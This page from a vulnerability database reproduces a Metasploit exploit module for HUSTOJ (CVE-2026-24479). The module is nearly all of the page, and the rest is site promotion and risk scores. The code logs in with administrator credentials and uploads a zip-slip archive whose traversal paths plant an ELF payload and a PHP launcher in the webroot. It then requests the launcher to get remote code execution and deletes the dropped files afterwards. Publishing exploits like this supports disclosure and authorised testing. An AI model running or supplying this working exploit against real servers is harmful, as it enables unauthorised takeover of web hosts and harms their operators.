Lucene search
K

📄 HUSTOJ Zip Slip / Remote Code Execution

🗓️ 15 May 2026 00:00:00Reported by LoTuS and friends, oxagast, ling101wType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 35 Views

HUSTOJ admin can exploit problem_import_qduoj.php via zip-slip to plant PHP in webroot for remote code execution.

Related
Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'digest/md5'
    # Metasploit module for exploiting HUSTOJ problem import RCE (CVE-2026-24479)
    class MetasploitModule < Msf::Exploit::Remote
      Rank = GreatRanking
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Retry
      include Msf::Exploit::EXE
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'HUSTOJ Admin users can zip-slip problem_import_qduoj.php, planting PHP files in webroot for RCE',
            'Description' => <<~DESC,
              A user with administrative privileges can abuse the problem_import_qduoj.php CGI script
              using a crafted zip file (zip-slip) to traverse backwards through the filesystem, then to the
              webroot, where they can extract a PHP file that spawns a shell to get full RCE in the
              context of the webserver.
            DESC
            'Author' => [
              'oxagast', # exploit author
              'LoTuS and friends', # chinese to english translations
              'ling101w' # original discovery
            ],
            'License' => MSF_LICENSE,
            'Arch' => [ARCH_X64],
            'References' => [
              [
                'URL', 'https://github.com/oxagast/oxasploits/blob/JoshuaJohnWard/exploits' \
                '/CVE-2026-24479/hustoj_problem_import_rce.rb'
              ],
              [
                'URL', 'https://github.com/zhblue/hustoj/commit/902bd09e6d0011fe89cd84d423' \
                '6899314b33101f'
              ],
              ['URL', 'https://github.com/zhblue/hustoj/security/advisories/GHSA-xmgg-2rw4-7fxj'],
              ['CVE', '2026-24479'],
              ['CWE', '22']
            ],
            'Platform' => 'linux',
            'Targets' => [['Auto', {} ]],
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            },
            'DisclosureDate' => '2026-01-26'
          )
        )
        register_options(
          [
            OptString.new('USERNAME', [true, "The HUSTOJ administrative user's username", 'admin']),
            OptString.new('PASSWORD', [true, "The HUSTOJ administrative user's password", nil]),
            OptString.new('DROPFILE', [false, 'The name of the file to drop on the target (without extension)', 'RANDOM']),
            OptString.new('SERVLOC', [true, 'The location HUSTOJ is being served from', '/home/judge']),
            OptBool.new('FORCE', [false, 'Try to exploit even if it will probably fail', false]),
            OptInt.new('TRAVERSE_LIMIT', [true, 'Number of ../ traversals to include in zip slip paths', 6]),
            OptInt.new('TIME_LIMIT', [true, 'Time limit for the exploit to succeed in seconds', 60])
          ]
        )
      end
    
      # Authenticate as admin and return session cookies
      def login(user, pass)
        check = send_request_cgi(
          'uri' => '/include/reinfo.js',
          'method' => 'GET',
          'ctype' => 'application/javascript'
        )
        if check.nil?
          fail_with(Failure::Unreachable, 'Failed to connect to the target webserver!')
        else
          print_good("Connected to the target webserver! #{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}")
        end
        # try to figure out what we are running against
        unless check && check.code == 200
          if check && check.code == 404
            print_error('Target returned 404 for /include/reinfo.js, this is not HUSTOJ!')
          else
            print_error('Target responded, but check did not pass!')
          end
          unless datastore['FORCE']
            fail_with(Failure::NotFound, 'Could not find reinfo.js. Target is not running HUSTOJ! Try FORCE.')
          end
        end
        unless check && check.code == 200 && check.body && check.body.include?('function escapeHtml(str) {') == false
          print_error('Target appears to be running HUSTOJ, but my be a patched version!')
          unless datastore['FORCE']
            print_error('Body check does not contain escapehtml function...')
            fail_with(Failure::NotVulnerable, 'Target is running a patched version of HUSTOJ!  Try FORCE.')
          end
        end
        if check && check.code == 200 && check.body && check.body.include?('var ret=pat.exec(errmsg);') && check.body.include?('function escapeHtml(str) {') == false
          print_good('Good! Target appears to be running a vulnerable version of HUSTOJ!')
        else
          print_error('Target does not appear to be running a vulnerable version of HUSTOJ!')
          unless datastore['FORCE']
            print_error('Body check does not contain pat.exec function')
            fail_with(Failure::NotFound, 'Target is not HUSTOJ or is a patched version!  Try FORCE.')
          end
        end
        send_request_cgi(
          'method' => 'POST',
          'uri' => '/login.php',
          'keep_cookies' => true,
          'ctype' => 'application/x-www-form-urlencoded',
          'vars_post' => {
            'user_id' => user,
            'password' => Digest::MD5.hexdigest(pass)
          }
        )
    
        # Check if login was successful
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => '/modifypage.php',
          'keep_cookies' => true
        )
        # we check for userinfo.php because it doesn't exist if our login fails
        unless res && res.code == 200 && res.body && res.body.include?('userinfo.php')
          fail_with(Failure::NoAccess, 'Failed to authenticate! Check credentials.')
        end
        stars = '*' * pass.length
        print_good("Logged in successfully! #{user}:#{stars}")
        # Check if the account has admin privileges
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => '/admin/menu2.php',
          'keep_cookies' => true
        )
        unless res && res.code == 200 && res.body && res.body.include?('problem_import.php')
          fail_with(Failure::NoAccess, 'Authenticated but does not appear to have admin privileges!')
        end
        return true
      end
    
      # Upload the malicious zip payload using the admin session
      def upload_payload(zip_dat, _rand_tag, dds)
        zip_size_kb = (zip_dat.length / 1024.0).round(2)
        print_status("Uploading the payload... #{zip_size_kb}kb")
        form_data = Rex::MIME::Message.new
        # it is ncessary for the MIME type to be application/octet-stream instead of application/zip
        # for this to work when using Rex::MIME::Message, otherwise no POST req is ever made.  Not
        # entirely sure what causes this.
        form_data.add_part(zip_dat, 'application/octet-stream', nil, "form-data; name=\"fps\"; filename=\"#{datastore['DROPFILE']}.zip\"")
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => '/admin/problem_import_qduoj.php',
          'keep_cookies' => true,
          'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
          'data' => form_data.to_s
        )
        if res && res.code == 200
          print_good("Payload uploaded! #{datastore['DROPFILE']}.zip")
          print_status("This is where the zipslip happens... #{dds} (levels: #{datastore['TRAVERSE_LIMIT']})")
        else
          fail_with(Failure::UnexpectedReply, 'Failed to upload the payload! Check your session and try again.')
        end
      end
    
      # Trigger the uploaded PHP shell to execute the payload
      def trigger_sploit(rand_tag)
        print_status("Triggering the php script... #{datastore['DROPFILE']}-#{rand_tag}.php")
        trig = send_request_raw(
          {
            'uri' => "/#{datastore['DROPFILE']}-#{rand_tag}.php",
            'method' => 'GET'
          }
        )
        if trig && trig.code == 200
          sleep(2) # give it a moment to pop the session before we ret
          return true
        end
      end
    
      # Clean up dropped files after exploitation
      def cleanup
        super
        # prevents the cleanup routine from running multiple times (reduses log noise)
        send_request_raw(
          {
            'uri' => "/#{datastore['DROPFILE']}-cu.php",
            'method' => 'GET'
          }
        )
        print_status('Cleaning up the payload caller and shell files...')
      end
    
      # Main exploit logic
      def exploit
        # Authenticate, upload, and trigger the exploit!
        if datastore['DROPFILE'] == 'RANDOM'
          datastore['DROPFILE'] = Rex::Text.rand_text_alpha(3)
        end
        opts = {
          format: 'elf'
        }
        shell_gend = generate_payload_exe(opts)
        unless datastore['DROPFILE'].match?(/\A\w+\z/)
          fail_with(Failure::BadConfig, 'DROPFILE should be alphanumeric.')
        end
        if shell_gend.empty?
          fail_with(Failure::PayloadFailed, 'Payload generation failed!  Try a different payload?')
        end
        print_good("Payload generated! #{datastore['PAYLOAD']}")
        # Generate a random tag for file uniqueness
        rand_tag = Rex::Text.rand_text_alpha(5)
        print_status("Random payload tag #{rand_tag}")
        # PHP script to call the ELF payload
        shell_caller = "<?php http_response_code(200); fastcgi_finish_request(); chmod('/tmp/#{datastore['DROPFILE']}-#{rand_tag}', 0700); system('/tmp/#{datastore['DROPFILE']}-#{rand_tag}'); ?>"
        # PHP script to clean up dropped files
        cleanup_caller = "<?php unlink('/tmp/#{datastore['DROPFILE']}-#{rand_tag}'); unlink('#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}" \
          "-#{rand_tag}.php'); unlink('#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}-cu.php'); ?>"
        dds = '../' * datastore['TRAVERSE_LIMIT'] # Directory traversal string for zipslip
        # Files to include in the malicious zip (zipslip paths for traversal)
        # problem_1010 in/out files can be empty, but should be in the zip to ensure serverside import
        files = [
          { data: shell_gend, fname: "#{dds}tmp/#{datastore['DROPFILE']}-#{rand_tag}" },
          { data: shell_caller, fname: "#{dds}#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}-#{rand_tag}.php" },
          { data: cleanup_caller, fname: "#{dds}#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}-cu.php" },
          { data: '{}', fname: 'problem_1010.json' },
          { data: '', fname: 'problem_1010/1.in' },
          { data: '', fname: 'problem_1010/1.out' }
        ]
        # Create the malicious zip archive
        zip_dat = Msf::Util::EXE.to_zip(files)
        fail_with(Failure::PayloadFailed, 'Zip generation failed!') if zip_dat.empty?
        print_good("Zip file generated! Files: #{files.length}")
        unless datastore['TRAVERSE_LIMIT'] >= 2
          fail_with(Failure::BadConfig, 'TRAVERSE_LIMIT should be at least 2 to ensure the zip slip can reach the root of the fs!')
        end
        unless datastore['USERNAME'] && datastore['PASSWORD']
          fail_with(Failure::BadConfig, 'USERNAME and PASSWORD must be set to an admin account!')
        end
        unless login(datastore['USERNAME'], datastore['PASSWORD']) && upload_payload(zip_dat, rand_tag, dds)
          fail_with(Failure::Unknown, 'Something strange happened in the login or upload!')
        end
        popped = retry_until_truthy(timeout: datastore['TIME_LIMIT']) do
          trigger_sploit(rand_tag)
        end
        unless popped
          fail_with(Failure::PayloadFailed, 'Failed to trigger the payload within timeout!  Check your listener?')
        end
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 May 2026 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.19.8
CVSS 49.3
EPSS0.58917
SSVC
35